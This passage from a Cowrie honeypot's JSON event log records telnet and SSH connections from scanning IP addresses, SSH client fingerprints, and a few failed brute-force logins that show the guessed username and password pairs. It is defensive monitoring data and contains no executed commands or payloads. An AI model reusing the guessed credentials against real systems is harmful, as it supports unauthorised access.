{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"817f3d19452d","protocol":"telnet","message":"New connection: 204.10.38.242:56246 (159.203.135.109:23) [session: 817f3d19452d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:46.941044Z"}
{"eventid":"cowrie.session.closed","duration":30.70618748664856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:47.189517Z","src_ip":"204.10.38.242","session":"39c007185eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097309112548828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:47.491358Z","src_ip":"204.10.38.242","session":"dc200f6aee72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36034,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57c94d9d6c9","protocol":"telnet","message":"New connection: 204.10.38.242:36034 (159.203.135.109:23) [session: e57c94d9d6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:47.624303Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36616,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d901b412ffc","protocol":"telnet","message":"New connection: 204.10.38.242:36616 (159.203.135.109:23) [session: 2d901b412ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:47.708669Z"}
{"eventid":"cowrie.session.closed","duration":30.633192777633667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:51.104485Z","src_ip":"204.10.38.242","session":"d48909e60ebd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72518563270569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:51.142863Z","src_ip":"204.10.38.242","session":"57ad649dcca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52526,"dst_ip":"159.203.135.109","dst_port":23,"session":"637db44a6966","protocol":"telnet","message":"New connection: 204.10.38.242:52526 (159.203.135.109:23) [session: 637db44a6966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:51.900437Z"}
{"eventid":"cowrie.session.closed","duration":31.127416610717773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:52.185151Z","src_ip":"204.10.38.242","session":"4fb6533ecd44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":32784,"dst_ip":"159.203.135.109","dst_port":23,"session":"57907557c75c","protocol":"telnet","message":"New connection: 204.10.38.242:32784 (159.203.135.109:23) [session: 57907557c75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:52.494945Z"}
{"eventid":"cowrie.session.closed","duration":30.802516222000122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:53.154522Z","src_ip":"204.10.38.242","session":"40c9a0d1ad3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37706,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f32f4083f7c","protocol":"telnet","message":"New connection: 204.10.38.242:37706 (159.203.135.109:23) [session: 1f32f4083f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:53.417486Z"}
{"eventid":"cowrie.session.closed","duration":31.024661540985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:53.449206Z","src_ip":"204.10.38.242","session":"f86873ee21f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.75743055343628,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:53.477636Z","src_ip":"185.26.126.47","session":"017ce5965021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687408447265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:54.305896Z","src_ip":"204.10.38.242","session":"f16074d96fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":34962,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b175abf811","protocol":"telnet","message":"New connection: 176.65.149.254:34962 (159.203.135.109:23) [session: 60b175abf811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:54.317645Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42488,"dst_ip":"159.203.135.109","dst_port":23,"session":"40af402dfe4e","protocol":"telnet","message":"New connection: 204.10.38.242:42488 (159.203.135.109:23) [session: 40af402dfe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:54.443048Z"}
{"eventid":"cowrie.session.closed","duration":31.19214677810669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:54.476575Z","src_ip":"204.10.38.242","session":"75795be64e27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781969785690308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:55.185308Z","src_ip":"204.10.38.242","session":"13a182645e69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42354,"dst_ip":"159.203.135.109","dst_port":23,"session":"de39fb4875e6","protocol":"telnet","message":"New connection: 204.10.38.242:42354 (159.203.135.109:23) [session: de39fb4875e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:55.430825Z"}
{"eventid":"cowrie.session.closed","duration":30.851471424102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:56.205428Z","src_ip":"204.10.38.242","session":"cb79d31fb876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52260,"dst_ip":"159.203.135.109","dst_port":23,"session":"77df990f510e","protocol":"telnet","message":"New connection: 204.10.38.242:52260 (159.203.135.109:23) [session: 77df990f510e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:56.463171Z"}
{"eventid":"cowrie.session.closed","duration":31.602460861206055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:56.943394Z","src_ip":"204.10.38.242","session":"8e69b3a420d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.259279012680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.082154Z","src_ip":"204.10.38.242","session":"4846ef30484c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629305124282837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.099916Z","src_ip":"204.10.38.242","session":"6d676f97073b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51948,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5850f17393","protocol":"telnet","message":"New connection: 204.10.38.242:51948 (159.203.135.109:23) [session: fe5850f17393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.422977Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67c76605922","protocol":"telnet","message":"New connection: 204.10.38.242:57256 (159.203.135.109:23) [session: b67c76605922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.488572Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":36268,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bd1f6c95c31","protocol":"ssh","message":"New connection: 171.244.141.86:36268 (159.203.135.109:22) [session: 6bd1f6c95c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.736491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.741510Z","src_ip":"171.244.141.86","session":"6bd1f6c95c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:57.988650Z","src_ip":"171.244.141.86","session":"6bd1f6c95c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234!@#$","message":"login attempt [root/Admin1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:59.013646Z","src_ip":"171.244.141.86","session":"6bd1f6c95c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.697739124298096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:59.050061Z","src_ip":"204.10.38.242","session":"26612762a535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755346059799194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:59.111125Z","src_ip":"204.10.38.242","session":"cbd05d4e5be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7462739944458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:59.570184Z","src_ip":"204.10.38.242","session":"73e543ea5a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067196130752563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:59.743493Z","src_ip":"204.10.38.242","session":"ceed091372bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:00.265927Z","src_ip":"171.244.141.86","session":"6bd1f6c95c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47650,"dst_ip":"159.203.135.109","dst_port":23,"session":"b493f388b833","protocol":"telnet","message":"New connection: 204.10.38.242:47650 (159.203.135.109:23) [session: b493f388b833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:01.331913Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50456,"dst_ip":"159.203.135.109","dst_port":23,"session":"abb8cea971aa","protocol":"telnet","message":"New connection: 204.10.38.242:50456 (159.203.135.109:23) [session: abb8cea971aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:01.840840Z"}
{"eventid":"cowrie.session.closed","duration":30.927987098693848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:02.365242Z","src_ip":"204.10.38.242","session":"a0ae4f6a0a91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69142746925354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:03.196453Z","src_ip":"204.10.38.242","session":"b2d1a1b054dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57768,"dst_ip":"159.203.135.109","dst_port":23,"session":"760b13f44f84","protocol":"telnet","message":"New connection: 204.10.38.242:57768 (159.203.135.109:23) [session: 760b13f44f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:03.396451Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":48080,"dst_ip":"159.203.135.109","dst_port":22,"session":"73e95e584dfc","protocol":"ssh","message":"New connection: 103.146.202.174:48080 (159.203.135.109:22) [session: 73e95e584dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:03.618994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:03.624637Z","src_ip":"103.146.202.174","session":"73e95e584dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:03.871284Z","src_ip":"103.146.202.174","session":"73e95e584dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:04.883720Z","src_ip":"103.146.202.174","session":"73e95e584dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.500288009643555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:05.312897Z","src_ip":"204.10.38.242","session":"d5bd7d42ead4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40106,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd735694cd0c","protocol":"telnet","message":"New connection: 204.10.38.242:40106 (159.203.135.109:23) [session: dd735694cd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:05.416785Z"}
{"eventid":"cowrie.session.closed","duration":37.85350823402405,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:05.632586Z","src_ip":"185.26.126.47","session":"d0f7ac7a0ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:06.136818Z","src_ip":"103.146.202.174","session":"73e95e584dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.864171981811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:06.174447Z","src_ip":"204.10.38.242","session":"8bac275a083c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657467365264893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:07.047053Z","src_ip":"204.10.38.242","session":"08093f518bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827279329299927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:07.140837Z","src_ip":"204.10.38.242","session":"159b1661b846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.567510843276978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:07.972800Z","src_ip":"204.10.38.242","session":"70504e5b6a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0b3252ef548","protocol":"telnet","message":"New connection: 204.10.38.242:54866 (159.203.135.109:23) [session: e0b3252ef548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:08.430786Z"}
{"eventid":"cowrie.session.closed","duration":30.906506299972534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:10.310386Z","src_ip":"204.10.38.242","session":"3b03d01f5cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7719783782959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:11.058471Z","src_ip":"204.10.38.242","session":"40b55baa1a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"98a5f3a30c6d","protocol":"telnet","message":"New connection: 204.10.38.242:57218 (159.203.135.109:23) [session: 98a5f3a30c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:11.978441Z"}
{"eventid":"cowrie.session.closed","duration":30.76627826690674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:12.098078Z","src_ip":"204.10.38.242","session":"c7a5cc7e2235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62786889076233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:12.144128Z","src_ip":"204.10.38.242","session":"93b91e6ae259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229804515838623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:12.170394Z","src_ip":"204.10.38.242","session":"8681224db98d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009665727615356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:12.297546Z","src_ip":"204.10.38.242","session":"cd5b4da2d65d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.387694120407104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:13.044622Z","src_ip":"204.10.38.242","session":"12e93a310cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010929584503174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:13.063944Z","src_ip":"204.10.38.242","session":"d9420a8432dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355849504470825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:13.196233Z","src_ip":"204.10.38.242","session":"7addf29978ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51016,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ede30e67e3","protocol":"telnet","message":"New connection: 204.10.38.242:51016 (159.203.135.109:23) [session: 94ede30e67e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:13.545309Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"9776ad77547e","protocol":"telnet","message":"New connection: 204.10.38.242:53112 (159.203.135.109:23) [session: 9776ad77547e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:14.059687Z"}
{"eventid":"cowrie.session.closed","duration":30.58483576774597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:15.070848Z","src_ip":"204.10.38.242","session":"0062b4de4a53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57930,"dst_ip":"159.203.135.109","dst_port":22,"session":"c21ed0ff49fc","protocol":"ssh","message":"New connection: 159.203.92.129:57930 (159.203.135.109:22) [session: c21ed0ff49fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:15.920034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:15.925558Z","src_ip":"159.203.92.129","session":"c21ed0ff49fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","a